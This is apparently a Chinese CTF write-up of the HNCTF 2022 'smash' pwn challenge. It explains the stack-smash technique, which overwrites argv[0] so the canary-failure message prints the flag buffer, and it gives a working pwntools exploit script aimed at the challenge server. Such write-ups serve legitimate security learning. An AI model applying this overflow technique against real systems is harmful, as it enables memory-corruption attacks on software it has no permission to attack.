[HNCTF 2022 WEEK3]smash


知识点:
Stack smash


准备


64 位,开了 NXcanary 保护

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-114h]
_BYTE v5[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+118h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
fd = open("flag", 0);
if ( !fd )
{
puts("Open Err0r.");
exit(-1);
}
read(fd, &buf, 0x100uLL);
puts("Good Luck.");
gets(v5);
return 0;
}

这里会把 flag 输入到 buf
然后有 gets 函数,所以存在缓冲区溢出

思路

这题开了 canary 保护,有溢出点,没其他信息,所以可以想到 Stack smash 花式栈溢出技巧的一种,利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,得到 flag
stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名)
先去 ida 中查看 buf 地址

得到 buf 地址为 0x404060
这里受 libc 版本影响,偏移量会有区别
我这里改了 libc 后,无法直接定位 argv[0] ,所以先看没改的 gdb 调试,主要是确定 argv[0] 的位置
gets 处下断点,然后运行,看栈情况



得到了 argv[0] 在栈上的位置
libc 版本后,同样的步骤后,查看栈情况

得到偏移量为 0x1f8
最后直接构造 ROP

1
2
3
4
buf=0x404060

payload=b'a'*0x1f8+p64(buf)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',log_level = 'debug',arch='amd64')
io=remote('node5.anna.nssctf.cn',22625)
# io= process('/home/motaly/smash')

buf=0x404060

payload=b'a'*0x1f8+p64(buf)
io.sendline(payload)

io.interactive()